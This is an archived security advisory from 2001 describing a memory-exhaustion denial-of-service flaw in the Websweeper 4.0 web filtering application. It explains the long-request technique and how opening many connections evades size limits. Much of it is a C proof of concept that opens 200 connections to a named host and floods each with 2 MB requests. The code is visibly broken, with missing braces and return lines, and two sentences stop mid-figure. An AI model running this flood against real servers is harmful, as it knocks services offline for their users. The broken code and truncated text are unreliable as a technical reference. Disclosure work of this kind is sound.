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TUCoPS :: Windows Net Apps :: wsweep.htm

WebSweeper DoS



    Websweeper 4.0 for Windows NT


    Following is based on a Defcom Labs Advisory def-2001-10 by  Peter
    Grundl.   The Websweeper  application from  Baltimore Technologies
    is vulnerable to a Denial  of Service attack. Malicious usage  can
    lead to the application crashing.

    By sending an infinitely long HTTP request through the  Websweeper
    application, it is possible to  cause it to consume all  available
    memory on the server and eventually have the operating system kill
    the process.

    The term "infinitely long HTTP request" needs some  clarification,
    as it is not  really a request, because  it is never issued.   The
    point is to use up all available buffer memory in the application,
    and if this buffer is not restricted, cause the application to  be
    killed by the operating system.

    The concept works on a lot of HTTP applications, and the idea came
    from  reading  one  of  Marc  Maiffrets  posts to Bugtraq and this
    really goes far beyond just the Websweeper application.

    What you do in practice is this:

        GET / HTTP/1.0
        referrer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.................

    And keep filling  in a's. The  HTTP request will  then be buffered
    and the a's will be pushed  to the application and memory will  be
    allocated to handle the beginning request.  Some HTTP applications
    will restrict the size of  HTTP requests, like IIS/4.0 (2MB),  but
    that can be bypassed by opening  up eg. 500 connections.  500x2  =

    This  is  all  terribly  generalized,  as some applications handle
    these attacks quite well, but a  lot of them do not.   Eg. IIS/5.0
    handles it rather well, as the maxhttprequest size here is  around

    Proof of concept was written by honoriak:

        [ honoriak from [HeliSec] 22.3.2001
   	    [ Proof of concept Websweeper Infinite HTTP Request DoS  ]
   	    [ Advisory Defcom Labs Advisory def-2001-10	         ]
	    Thanks to doing and all helisec members: merphe, jet-li, kiss,
	    lyw0d, bonjy.
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <stdlib.h>
    #include <time.h>
    #include <sys/time.h>
    #include <fcntl.h>
    #define PORT 80
    #define LEN 2000000
    #define CON 200
    int i, v, n, sel, envi;
    int cons[CON];
    char ah[LEN];
    char ahh[LEN + 7];
    char *host;
    fd_set env;
    struct sockaddr_in victim;
    void usage(char *prog) {
	    printf("[ Websweeper Infinite HTTP Request DoS by ");
	    printf("from Helisec ]\n");
	    printf("-- Advisory: Defcom Labs Advisory def-2001-10 --\n\n");
	    printf("Usage: %s hostname number_of_gets\n", prog);
    unsigned long resolver(char *h)  {
    struct in_addr h2;
    struct hostent *hvic;
    if (!(hvic = gethostbyname(h))) return(0);
    memcpy((char *)&h2.s_addr, hvic->h_addr, hvic->h_length);
    int main(int argc, char *argv[])
	    if (argc < 2)
    bzero(&victim, sizeof(victim));
    victim.sin_family = AF_INET;
    victim.sin_port = htons(PORT);
    if ( (inet_pton(AF_INET, argv[1], &victim.sin_addr)) <= 0)
	    victim.sin_addr.s_addr = resolver(argv[1]);
    if (!victim.sin_addr.s_addr) {
	    printf("Error resolving host\n");
    for (i=0; i<=(LEN-1); i++)  ah[i] = 'a';
    ah[LEN-1] = '\0';
    printf("Sending Infinite HTTP Request...\n");
    sprintf(ahh, "GET /%s\n", ah);
    for (sel=0; sel < CON; sel++)
    if ((cons[sel] = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
	    printf("Error opening socket\n");
    if ( (n=connect(cons[sel], (struct sockaddr *)&victim, sizeof(victim))) < 0) {
                      printf("Error connecting\n");
    for (sel=0; sel < CON; sel++) {
    FD_SET(cons[sel], &env);
    envi=select(cons[sel] + 1, NULL, &env, NULL, NULL);
    if ( FD_ISSET(cons[sel], &env) ) {
    if ( (send(cons[sel], ahh, strlen(ahh), 0)) < 1) {
	    printf("Error sending\n");


    The Vendor was contacted February 27th, 2001 and replied:
    "Unfortunately it is not possible to legislate for all  deliberate
     attacks.  If  a client program  wilfully sends a  large number of
     malformed requests  and holds  the connections  open, the request
     data will fill up the memory  and eventually you will run out  of
     virtual memory.

     Under normal situations this will  not be an issue, except  where
     Internal Users pose a  significant security risk to  your system.
     In  these  situations   alternative  low-level  packet   security
     software such as firewalls may need to be considered.

     Nonetheless the  wider issues  of what  can be  done to  minimise
     exposure  to  hacking  is  with  Engineering  and they are always
     striving to make our products as secure and robust as possible."

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